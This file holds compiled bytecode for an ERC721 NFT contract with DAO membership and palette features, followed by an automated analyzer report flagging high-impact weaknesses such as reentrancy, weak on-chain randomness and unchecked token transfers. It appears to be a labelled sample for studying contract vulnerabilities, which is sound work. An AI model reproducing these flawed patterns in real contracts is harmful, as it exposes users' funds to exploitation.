0x60806040526004361061027b5760003560e01c806301ffc9a7146102805780630475d863146102b557806304bde4dd146102d757806306fdde0314610304578063081812fc14610319578063095ea7b31461034657806311876875146103665780631249c58b1461038657806323b872dd1461038e578063248a9ca3146103ae5780632eb4a7ab146103dc5780632f2ff15d146103f357806336568abe146104135780633a253e31146104335780633f4ba83a1461044a57806342842e0e1461045f5780634479cef21461047f57806344cee73c146104955780634531c0a8146104b55780634daebac2146104cb578063598fa9da146104e15780635a503f13146105015780635b769f3c146105215780635c975abb146105415780636352211e146105595780636817031b1461057957806370a0823114610599578063715018a6146105b957806379c2c954146105ce5780637a34aad3146105ee5780637ca942101461060e5780637cb647591461062e578063805e0b201461064e578063839644da1461066e5780638456cb591461068e5780638a85a1e8146106a35780638da5cb5b146106c35780639010d07c146106d857806391b7916a146106f857806391d148541461071857806395d89b4114610738578063a217fddf1461074d578063a22cb46514610762578063a51e412414610782578063b88d4fde146107a2578063b982d1b9146107c2578063c87b56dd146107e2578063c978a11314610802578063ca15c87314610833578063cc2aa09114610853578063d547741f14610869578063e985e9c514610889578063eba81806146108a9578063f2fde38b146108bf578063f51f96dd146108df578063fdac11f8146108f6575b600080fd5b34801561028c57600080fd5b506102a061029b366004613878565b61090d565b60405190151581526020015b60405180910390f35b3480156102c157600080fd5b506102d56102d03660046137bc565b61091e565b005b3480156102e357600080fd5b506102f76102f236600461381a565b6109be565b6040516102ac9190613beb565b34801561031057600080fd5b506102f7610a6b565b34801561032557600080fd5b5061033961033436600461381a565b610afd565b6040516102ac9190613b9a565b34801561035257600080fd5b506102d5610361366004613792565b610b85565b34801561037257600080fd5b506102d5610381366004613928565b610c91565b6102d5610e6b565b34801561039a57600080fd5b506102d56103a93660046136a4565b610f61565b3480156103ba57600080fd5b506103ce6103c936600461381a565b610f92565b6040519081526020016102ac565b3480156103e857600080fd5b506103ce6101635481565b3480156103ff57600080fd5b506102d561040e366004613833565b610fa7565b34801561041f57600080fd5b506102d561042e366004613833565b610fc4565b34801561043f57600080fd5b506103ce6101645481565b34801561045657600080fd5b506102d5611042565b34801561046b57600080fd5b506102d561047a3660046136a4565b61107b565b34801561048b57600080fd5b5061016b546103ce565b3480156104a157600080fd5b506102f76104b036600461381a565b611096565b3480156104c157600080fd5b50610168546103ce565b3480156104d757600080fd5b50610169546103ce565b3480156104ed57600080fd5b506102f76104fc3660046139ac565b6110a7565b34801561050d57600080fd5b506102f761051c36600461381a565b6110e0565b34801561052d57600080fd5b506102d561053c3660046135c0565b6110f1565b34801561054d57600080fd5b5060655460ff166102a0565b34801561056557600080fd5b5061033961057436600461381a565b611143565b34801561058557600080fd5b506102d56105943660046135c0565b6111ba565b3480156105a557600080fd5b506103ce6105b43660046135c0565b61120c565b3480156105c557600080fd5b506102d5611293565b3480156105da57600080fd5b506102d56105e936600461360e565b6112cc565b3480156105fa57600080fd5b506102d56106093660046137bc565b611355565b34801561061a57600080fd5b506102f761062936600461381a565b6113e7565b34801561063a57600080fd5b506102d561064936600461381a565b6113f8565b34801561065a57600080fd5b506102d561066936600461381a565b6114ae565b34801561067a57600080fd5b506102d5610689366004613973565b6114e3565b34801561069a57600080fd5b506102d5611606565b3480156106af57600080fd5b506102d56106be3660046137bc565b61163d565b3480156106cf57600080fd5b506103396116cf565b3480156106e457600080fd5b506103396106f3366004613856565b6116de565b34801561070457600080fd5b506102d56107133660046137bc565b6116fe565b34801561072457600080fd5b506102a0610733366004613833565b611790565b34801561074457600080fd5b506102f76117bb565b34801561075957600080fd5b506103ce600081565b34801561076e57600080fd5b506102d561077d36600461375b565b6117ca565b34801561078e57600080fd5b506102d561079d3660046137bc565b6117d5565b3480156107ae57600080fd5b506102d56107bd3660046136e0565b611867565b3480156107ce57600080fd5b506102f76107dd36600461381a565b611899565b3480156107ee57600080fd5b506102f76107fd36600461381a565b6118aa565b34801561080e57600080fd5b506102a061081d3660046135c0565b6101666020526000908152604090205460ff1681565b34801561083f57600080fd5b506103ce61084e36600461381a565b611afe565b34801561085f57600080fd5b5061016c546103ce565b34801561087557600080fd5b506102d5610884366004613833565b611b16565b34801561089557600080fd5b506102a06108a43660046135db565b611b33565b3480156108b557600080fd5b5061016a546103ce565b3480156108cb57600080fd5b506102d56108da3660046135c0565b611b61565b3480156108eb57600080fd5b506103ce6101615481565b34801561090257600080fd5b506103ce6101625481565b600061091882611bfe565b92915050565b336109276116cf565b6001600160a01b0316146109565760405162461bcd60e51b815260040161094d90613cc8565b60405180910390fd5b60005b818110156109b95761016983838381811061097657610976614016565b90506020028101906109889190613e28565b8254600181018455600093845260209093206109a6930191906133dd565b50806109b181613fa5565b915050610959565b505050565b61016881815481106109cf57600080fd5b9060005260206000200160009150905080546109ea90613f6a565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1690613f6a565b8015610a635780601f10610a3857610100808354040283529160200191610a63565b820191906000526020600020905b815481529060010190602001808311610a4657829003601f168201915b505050505081565b606060c98054610a7a90613f6a565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa690613f6a565b8015610af35780601f10610ac857610100808354040283529160200191610af3565b820191906000526020600020905b815481529060010190602001808311610ad657829003601f168201915b5050505050905090565b6000610b0882611c23565b610b695760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161094d565b50600090815260cd60205260409020546001600160a01b031690565b6000610b9082611143565b9050806001600160a01b0316836001600160a01b03161415610bfe5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161094d565b336001600160a01b0382161480610c1a5750610c1a8133611b33565b610c875760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776044820152771b995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b60421b606482015260840161094d565b6109b98383611c40565b60655460ff1615610cb45760405162461bcd60e51b815260040161094d90613c50565b61016354610d005760405162461bcd60e51b81526020600482015260196024820152783bb434ba32a634b9ba1036b4b73a103737ba103932b0b23c9760391b604482015260640161094d565b6000336040516001600160601b0319606083901b166020820152603481018690529091506000906054016040516020818303038152906040528051906020012090506000610d8685858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050610163549150859050611cae565b905080610dc75760405162461bcd60e51b815260206004820152600f60248201526e3130b2103830b930b6b2ba32b9399760891b604482015260640161094d565b6001600160a01b0383166000908152610166602052604090205460ff1615610e285760405162461bcd60e51b815260206004820152601460248201527327232a1030b63932b0b23c9031b630b4b6b2b21760611b604482015260640161094d565b6000610e32611cc4565b6001600160a01b038516600090815261016660205260409020805460ff191660011790559050610e628482611cdd565b50505050505050565b60655460ff1615610e8e5760405162461bcd60e51b815260040161094d90613c50565b61016154341015610ed85760405162461bcd60e51b815260206004820152601460248201527322ba34103b30b63ab29034b731b7b93932b1ba1760611b604482015260640161094d565b610164546101625410610f1b5760405162461bcd60e51b815260206004820152600b60248201526a2932b0b1b41033b7b0b61760a91b604482015260640161094d565b61016054610f32906001600160a01b031634611cf0565b6101628054906000610f4383613fa5565b91905055506000610f52611cc4565b9050610f5e3382611cdd565b50565b610f6b3382611df0565b610f875760405162461bcd60e51b815260040161094d90613cfd565b6109b9838383611eba565b600090815260fb602052604090206001015490565b610fb082610f92565b610fba8133612044565b6109b983836120a8565b6001600160a01b03811633146110345760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b606482015260840161094d565b61103e82826120cb565b5050565b3361104b6116cf565b6001600160a01b0316146110715760405162461bcd60e51b815260040161094d90613cc8565b6110796120ee565b565b6109b983838360405180602001604052806000815250611867565b61016a81815481106109cf57600080fd5b61016760205281600052604060002081815481106110c457600080fd5b906000526020600020016000915091505080546109ea90613f6a565b61016c81815481106109cf57600080fd5b336110fa6116cf565b6001600160a01b0316146111205760405162461bcd60e51b815260040161094d90613cc8565b61015f80546001600160a01b0319166001600160a01b0392909216919091179055565b600081815260cb60205260408120546001600160a01b0316806109185760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161094d565b336111c36116cf565b6001600160a01b0316146111e95760405162461bcd60e51b815260040161094d90613cc8565b61016080546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160a01b0382166112775760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161094d565b506001600160a01b0316600090815260cc602052604090205490565b3361129c6116cf565b6001600160a01b0316146112c25760405162461bcd60e51b815260040161094d90613cc8565b611079600061217b565b600054610100900460ff166112e75760005460ff16156112ef565b6112ef6121cd565b61130b5760405162461bcd60e51b815260040161094d90613c7a565b600054610100900460ff1615801561132d576000805461ffff19166101011790555b61133b8787878787876121de565b8015610e62576000805461ff001916905550505050505050565b3361135e6116cf565b6001600160a01b0316146113845760405162461bcd60e51b815260040161094d90613cc8565b60005b818110156109b95761016c8383838181106113a4576113a4614016565b90506020028101906113b69190613e28565b8254600181018455600093845260209093206113d4930191906133dd565b50806113df81613fa5565b915050611387565b61016981815481106109cf57600080fd5b336114016116cf565b6001600160a01b0316146114275760405162461bcd60e51b815260040161094d90613cc8565b61016354156114725760405162461bcd60e51b815260206004820152601760248201527613595c9adb19481c9bdbdd08185b1c9958591e481cd95d604a1b604482015260640161094d565b6101638190556040518181527f1b930366dfeaa7eb3b325021e4ae81e36527063452ee55b86c95f85b36f4c31c9060200160405180910390a150565b336114b76116cf565b6001600160a01b0316146114dd5760405162461bcd60e51b815260040161094d90613cc8565b61016455565b336114ec6116cf565b6001600160a01b0316146115125760405162461bcd60e51b815260040161094d90613cc8565b60ff83166000908152610167602052604090205461010090611535908390613ec5565b111561158d5760405162461bcd60e51b815260206004820152602160248201527f50616c65747465732063616e206f6e6c7920686f6c642032353620636f6c6f726044820152607360f81b606482015260840161094d565b60005b818110156116005760ff84166000908152610167602052604090208383838181106115bd576115bd614016565b90506020028101906115cf9190613e28565b8254600181018455600093845260209093206115ed930191906133dd565b50806115f881613fa5565b915050611590565b50505050565b3361160f6116cf565b6001600160a01b0316146116355760405162461bcd60e51b815260040161094d90613cc8565b6110796122a8565b336116466116cf565b6001600160a01b03161461166c5760405162461bcd60e51b815260040161094d90613cc8565b60005b818110156109b95761016a83838381811061168c5761168c614016565b905060200281019061169e9190613e28565b8254600181018455600093845260209093206116bc930191906133dd565b50806116c781613fa5565b91505061166f565b6033546001600160a01b031690565b600082815261012d602052604081206116f79083612300565b9392505050565b336117076116cf565b6001600160a01b03161461172d5760405162461bcd60e51b815260040161094d90613cc8565b60005b818110156109b95761016883838381811061174d5761174d614016565b905060200281019061175f9190613e28565b82546001810184556000938452602090932061177d930191906133dd565b508061178881613fa5565b915050611730565b600091825260fb602090815260408084206001600160a01b0393909316845291905290205460ff1690565b606060ca8054610a7a90613f6a565b61103e33838361230c565b336117de6116cf565b6001600160a01b0316146118045760405162461bcd60e51b815260040161094d90613cc8565b60005b818110156109b95761016b83838381811061182457611824614016565b90506020028101906118369190613e28565b825460018101845560009384526020909320611854930191906133dd565b508061185f81613fa5565b915050611807565b6118713383611df0565b61188d5760405162461bcd60e51b815260040161094d90613cfd565b611600848484846123d7565b61016b81815481106109cf57600080fd5b600081815261016d60209081526040808320815160a081018352905465ffffffffffff8082168352600160301b8204811694830194909452600160601b8104841682840152600160901b81048416606083810191909152600160c01b90910490931660808201528151808301909252919290806119268661240a565b8152602001610168846000015165ffffffffffff168154811061194b5761194b614016565b90600052602060002001805461196090613f6a565b80601f016020809104026020016040519081016040528092919081815260200182805461198c90613f6a565b80156119d95780601f106119ae576101008083540402835291602001916119d9565b820191906000526020600020905b8154815290600101906020018083116119bc57829003601f168201915b50505050508152509050600073018a37ac5380239b3ed18f5a6e9c81a7fc4d94b863bf399d8a836101676040518363ffffffff1660e01b8152600401611a20929190613d99565b60006040518083038186803b158015611a3857600080fd5b505af4158015611a4c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611a7491908101906138b2565b90506000611a81866127e6565b604051602001611a919190613aae565b60405160208183030381529060405290506000611aad876127e6565b604051602001611abd9190613adc565b6040516020818303038152906040529050818184604051602001611ae393929190613a10565b60405160208183030381529060405295505050505050919050565b600081815261012d60205260408120610918906128e3565b611b1f82610f92565b611b298133612044565b6109b983836120cb565b6001600160a01b03918216600090815260ce6020908152604080832093909416825291909152205460ff1690565b33611b6a6116cf565b6001600160a01b031614611b905760405162461bcd60e51b815260040161094d90613cc8565b6001600160a01b038116611bf55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161094d565b610f5e8161217b565b60006001600160e01b03198216635a05180f60e01b14806109185750610918826128ed565b600090815260cb60205260409020546001600160a01b0316151590565b600081815260cd6020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611c7582611143565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600082611cbb8584612912565b14949350505050565b6000611cd561016580546001019055565b506101655490565b611ce78282612986565b61103e81612aa6565b611cfa8282612c8e565b61103e5761015f60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611d4f57600080fd5b505af1158015611d63573d6000803e3d6000fd5b505061015f5460405163a9059cbb60e01b81526001600160a01b03878116600483015260248201879052909116935063a9059cbb92506044019050602060405180830381600087803b158015611db857600080fd5b505af1158015611dcc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b991906137fd565b6000611dfb82611c23565b611e5c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161094d565b6000611e6783611143565b9050806001600160a01b0316846001600160a01b03161480611ea25750836001600160a01b0316611e9784610afd565b6001600160a01b0316145b80611eb25750611eb28185611b33565b949350505050565b826001600160a01b0316611ecd82611143565b6001600160a01b031614611f315760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b606482015260840161094d565b6001600160a01b038216611f935760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161094d565b611f9e600082611c40565b6001600160a01b038316600090815260cc60205260408120805460019290611fc7908490613f10565b90915550506001600160a01b038216600090815260cc60205260408120805460019290611ff5908490613ec5565b9091555050600081815260cb602052604080822080546001600160a01b0319166001600160a01b03868116918217909255915184939187169160008051602061406783398151915291a4505050565b61204e8282611790565b61103e57612066816001600160a01b03166014612d0c565b612071836020612d0c565b604051602001612082929190613b2b565b60408051601f198184030181529082905262461bcd60e51b825261094d91600401613beb565b6120b28282612ea7565b600082815261012d602052604090206109b99082612f2d565b6120d58282612f42565b600082815261012d602052604090206109b99082612fa9565b60655460ff166121375760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015260640161094d565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516121719190613b9a565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006121d830612fbe565b15905090565b600054610100900460ff166121f95760005460ff1615612201565b6122016121cd565b61221d5760405162461bcd60e51b815260040161094d90613c7a565b600054610100900460ff1615801561223f576000805461ffff19166101011790555b61015f80546001600160a01b038089166001600160a01b0319928316179092556101608054928a169290911691909117905561016183905561016482905561228e60006122893390565b6120a8565b6122988585612fcd565b6122a0612ffe565b61133b61302d565b60655460ff16156122cb5760405162461bcd60e51b815260040161094d90613c50565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586121643390565b60006116f7838361305c565b816001600160a01b0316836001600160a01b0316141561236a5760405162461bcd60e51b815260206004820152601960248201527822a9219b99189d1030b8383937bb32903a379031b0b63632b960391b604482015260640161094d565b6001600160a01b03838116600081815260ce6020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6123e2848484611eba565b6123ee84848484613086565b6116005760405162461bcd60e51b815260040161094d90613bfe565b600081815261016d60209081526040808320815160a08082018452915465ffffffffffff8082168352600160301b8204811683870152600160601b8204811683860152600160901b82048116606080850191909152600160c01b909204166080830152835160048082529381019094529490939092919082015b606081526020019060019003908161248457905050905061016a826020015165ffffffffffff16815481106124bb576124bb614016565b9060005260206000200180546124d090613f6a565b80601f01602080910402602001604051908101604052809291908181526020018280546124fc90613f6a565b80156125495780601f1061251e57610100808354040283529160200191612549565b820191906000526020600020905b81548152906001019060200180831161252c57829003601f168201915b50505050508160008151811061256157612561614016565b6020026020010181905250610169826040015165ffffffffffff168154811061258c5761258c614016565b9060005260206000200180546125a190613f6a565b80601f01602080910402602001604051908101604052809291908181526020018280546125cd90613f6a565b801561261a5780601f106125ef5761010080835404028352916020019161261a565b820191906000526020600020905b8154815290600101906020018083116125fd57829003601f168201915b50505050508160018151811061263257612632614016565b602002602001018190525061016c826060015165ffffffffffff168154811061265d5761265d614016565b90600052602060002001805461267290613f6a565b80601f016020809104026020016040519081016040528092919081815260200182805461269e90613f6a565b80156126eb5780601f106126c0576101008083540402835291602001916126eb565b820191906000526020600020905b8154815290600101906020018083116126ce57829003601f168201915b50505050508160028151811061270357612703614016565b602002602001018190525061016b826080015165ffffffffffff168154811061272e5761272e614016565b90600052602060002001805461274390613f6a565b80601f016020809104026020016040519081016040528092919081815260200182805461276f90613f6a565b80156127bc5780601f10612791576101008083540402835291602001916127bc565b820191906000526020600020905b81548152906001019060200180831161279f57829003601f168201915b5050505050816003815181106127d4576127d4614016565b60209081029190910101529392505050565b60608161280a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612834578061281e81613fa5565b915061282d9050600a83613edd565b915061280e565b6000816001600160401b0381111561284e5761284e61402c565b6040519080825280601f01601f191660200182016040528015612878576020820181803683370190505b5090505b8415611eb25761288d600183613f10565b915061289a600a86613fc0565b6128a5906030613ec5565b60f81b8183815181106128ba576128ba614016565b60200101906001600160f81b031916908160001a9053506128dc600a86613edd565b945061287c565b6000610918825490565b60006001600160e01b03198216637965db0b60e01b148061091857506109188261319a565b600081815b845181101561297e57600085828151811061293457612934614016565b6020026020010151905080831161295a576000838152602082905260409020925061296b565b600081815260208490526040902092505b508061297681613fa5565b915050612917565b509392505050565b6001600160a01b0382166129dc5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161094d565b6129e581611c23565b15612a315760405162461bcd60e51b815260206004820152601c60248201527b115490cdcc8c4e881d1bdad95b88185b1c9958591e481b5a5b9d195960221b604482015260640161094d565b6001600160a01b038216600090815260cc60205260408120805460019290612a5a908490613ec5565b9091555050600081815260cb602052604080822080546001600160a01b0319166001600160a01b0386169081179091559051839290600080516020614067833981519152908290a45050565b6000612ab3600143613f10565b604080519140602083015281018390526060016040516020818303038152906040528051906020012060001c90506000612aed61016a5490565b90506000612afb61016c5490565b90506000612b0961016b5490565b90506000612b176101685490565b90506000612b256101695490565b90506040518060a00160405280838865ffffffffffff16612b469190613fc0565b65ffffffffffff16815260200186603089901c65ffffffffffff16612b6b9190613fc0565b65ffffffffffff16815260200182606089901c65ffffffffffff16612b909190613fc0565b65ffffffffffff16815260200185609089901c65ffffffffffff16612bb59190613fc0565b65ffffffffffff1681526020018460c089901c65ffffffffffff16612bda9190613fc0565b65ffffffffffff908116909152600098895261016d60209081526040998a902083518154928501519b85015160608601516080909601518516600160c01b0265ffffffffffff60c01b19968616600160901b0265ffffffffffff60901b19928716600160601b0292909216600160601b600160c01b03199e8716600160301b026001600160601b03199096169390961692909217939093179b909b1692909217179190911697909717909655505050505050565b6040805160008082526020820190925281906001600160a01b03851690617530908590604051612cbe91906139f4565b600060405180830381858888f193505050503d8060008114612cfc576040519150601f19603f3d011682016040523d82523d6000602084013e612d01565b606091505b509095945050505050565b60606000612d1b836002613ef1565b612d26906002613ec5565b6001600160401b03811115612d3d57612d3d61402c565b6040519080825280601f01601f191660200182016040528015612d67576020820181803683370190505b509050600360fc1b81600081518110612d8257612d82614016565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110612db157612db1614016565b60200101906001600160f81b031916908160001a9053506000612dd5846002613ef1565b612de0906001613ec5565b90505b6001811115612e58576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612e1457612e14614016565b1a60f81b828281518110612e2a57612e2a614016565b60200101906001600160f81b031916908160001a90535060049490941c93612e5181613f53565b9050612de3565b5083156116f75760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161094d565b612eb18282611790565b61103e57600082815260fb602090815260408083206001600160a01b03851684529091529020805460ff19166001179055612ee93390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60006116f7836001600160a01b0384166131ea565b612f4c8282611790565b1561103e57600082815260fb602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60006116f7836001600160a01b038416613239565b6001600160a01b03163b151590565b600054610100900460ff16612ff45760405162461bcd60e51b815260040161094d90613d4e565b61103e828261332c565b600054610100900460ff166130255760405162461bcd60e51b815260040161094d90613d4e565b61107961337a565b600054610100900460ff166130545760405162461bcd60e51b815260040161094d90613d4e565b6110796133ad565b600082600001828154811061307357613073614016565b9060005260206000200154905092915050565b600061309a846001600160a01b0316612fbe565b1561318f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906130d1903390899088908890600401613bae565b602060405180830381600087803b1580156130eb57600080fd5b505af192505050801561311b575060408051601f3d908101601f1916820190925261311891810190613895565b60015b613175573d808015613149576040519150601f19603f3d011682016040523d82523d6000602084013e61314e565b606091505b50805161316d5760405162461bcd60e51b815260040161094d90613bfe565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611eb2565b506001949350505050565b60006001600160e01b031982166380ac58cd60e01b14806131cb57506001600160e01b03198216635b5e139f60e01b145b8061091857506301ffc9a760e01b6001600160e01b0319831614610918565b600081815260018301602052604081205461323157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610918565b506000610918565b6000818152600183016020526040812054801561332257600061325d600183613f10565b855490915060009061327190600190613f10565b90508181146132d657600086600001828154811061329157613291614016565b90600052602060002001549050808760000184815481106132b4576132b4614016565b6000918252602080832090910192909255918252600188019052604090208390555b85548690806132e7576132e7614000565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610918565b6000915050610918565b600054610100900460ff166133535760405162461bcd60e51b815260040161094d90613d4e565b81516133669060c9906020850190613461565b5080516109b99060ca906020840190613461565b600054610100900460ff166133a15760405162461bcd60e51b815260040161094d90613d4e565b6065805460ff19169055565b600054610100900460ff166133d45760405162461bcd60e51b815260040161094d90613d4e565b6110793361217b565b8280546133e990613f6a565b90600052602060002090601f01602090048101928261340b5760008555613451565b82601f106134245782800160ff19823516178555613451565b82800160010185558215613451579182015b82811115613451578235825591602001919060010190613436565b5061345d9291506134d5565b5090565b82805461346d90613f6a565b90600052602060002090601f01602090048101928261348f5760008555613451565b82601f106134a857805160ff1916838001178555613451565b82800160010185558215613451579182015b828111156134515782518255916020019190600101906134ba565b5b8082111561345d57600081556001016134d6565b60006134fd6134f884613e9e565b613e6e565b905082815283838301111561351157600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461353f57600080fd5b919050565b60008083601f84011261355657600080fd5b5081356001600160401b0381111561356d57600080fd5b6020830191508360208260051b850101111561358857600080fd5b9250929050565b600082601f8301126135a057600080fd5b6116f7838335602085016134ea565b803560ff8116811461353f57600080fd5b6000602082840312156135d257600080fd5b6116f782613528565b600080604083850312156135ee57600080fd5b6135f783613528565b915061360560208401613528565b90509250929050565b60008060008060008060c0878903121561362757600080fd5b61363087613528565b955061363e60208801613528565b945060408701356001600160401b038082111561365a57600080fd5b6136668a838b0161358f565b9550606089013591508082111561367c57600080fd5b5061368989828a0161358f565b9350506080870135915060a087013590509295509295509295565b6000806000606084860312156136b957600080fd5b6136c284613528565b92506136d060208501613528565b9150604084013590509250925092565b600080600080608085870312156136f657600080fd5b6136ff85613528565b935061370d60208601613528565b92506040850135915060608501356001600160401b0381111561372f57600080fd5b8501601f8101871361374057600080fd5b61374f878235602084016134ea565b91505092959194509250565b6000806040838503121561376e57600080fd5b61377783613528565b9150602083013561378781614042565b809150509250929050565b600080604083850312156137a557600080fd5b6137ae83613528565b946020939093013593505050565b600080602083850312156137cf57600080fd5b82356001600160401b038111156137e557600080fd5b6137f185828601613544565b90969095509350505050565b60006020828403121561380f57600080fd5b81516116f781614042565b60006020828403121561382c57600080fd5b5035919050565b6000806040838503121561384657600080fd5b8235915061360560208401613528565b6000806040838503121561386957600080fd5b50508035926020909101359150565b60006020828403121561388a57600080fd5b81356116f781614050565b6000602082840312156138a757600080fd5b81516116f781614050565b6000602082840312156138c457600080fd5b81516001600160401b038111156138da57600080fd5b8201601f810184136138eb57600080fd5b80516138f96134f882613e9e565b81815285602083850101111561390e57600080fd5b61391f826020830160208601613f27565b95945050505050565b60008060006040848603121561393d57600080fd5b8335925060208401356001600160401b0381111561395a57600080fd5b61396686828701613544565b9497909650939450505050565b60008060006040848603121561398857600080fd5b613991846135af565b925060208401356001600160401b0381111561395a57600080fd5b600080604083850312156139bf57600080fd5b6137ae836135af565b600081518084526139e0816020860160208601613f27565b601f01601f19169290920160200192915050565b60008251613a06818460208701613f27565b9190910192915050565b683d913730b6b2911d1160b91b81528351600090613a35816009850160208901613f27565b701116113232b9b1b934b83a34b7b7111d1160791b6009918401918201528451613a6681601a840160208901613f27565b6a11161134b6b0b3b2911d1160a91b601a92909101918201528351613a92816025840160208801613f27565b61227d60f01b6025929091019182015260270195945050505050565b65029b73ab7b7160d51b815260008251613acf816006850160208701613f27565b9190910160060192915050565b65029b73ab7b7160d51b815260008251613afd816006850160208701613f27565b76206973206d656d626572206f6620536e756f6e2044414f60481b6006939091019283015250601d01919050565b76020b1b1b2b9b9a1b7b73a3937b61d1030b1b1b7bab73a1604d1b815260008351613b5d816017850160208801613f27565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613b8e816028840160208801613f27565b01602801949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613be1908301846139c8565b9695505050505050565b6020815260006116f760208301846139c8565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60408152600060808201845160408085015281815180845260a08601915060a08160051b87010193506020808401935060005b82811015613dfa57609f19888703018452613de88686516139c8565b95509381019392810192600101613dcc565b5088810151878603603f190160608901529350613e1785856139c8565b960196909652509295945050505050565b6000808335601e19843603018112613e3f57600080fd5b8301803591506001600160401b03821115613e5957600080fd5b60200191503681900382131561358857600080fd5b604051601f8201601f191681016001600160401b0381118282101715613e9657613e9661402c565b604052919050565b60006001600160401b03821115613eb757613eb761402c565b50601f01601f191660200190565b60008219821115613ed857613ed8613fd4565b500190565b600082613eec57613eec613fea565b500490565b6000816000190483118215151615613f0b57613f0b613fd4565b500290565b600082821015613f2257613f22613fd4565b500390565b60005b83811015613f42578181015183820152602001613f2a565b838111156116005750506000910152565b600081613f6257613f62613fd4565b506000190190565b600181811c90821680613f7e57607f821691505b60208210811415613f9f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613fb957613fb9613fd4565b5060010190565b600082613fcf57613fcf613fea565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114610f5e57600080fd5b6001600160e01b031981168114610f5e57600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212204d36557691282fd39922ee1e7770064555470cc9fe5fb27db8416d427daf11e264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
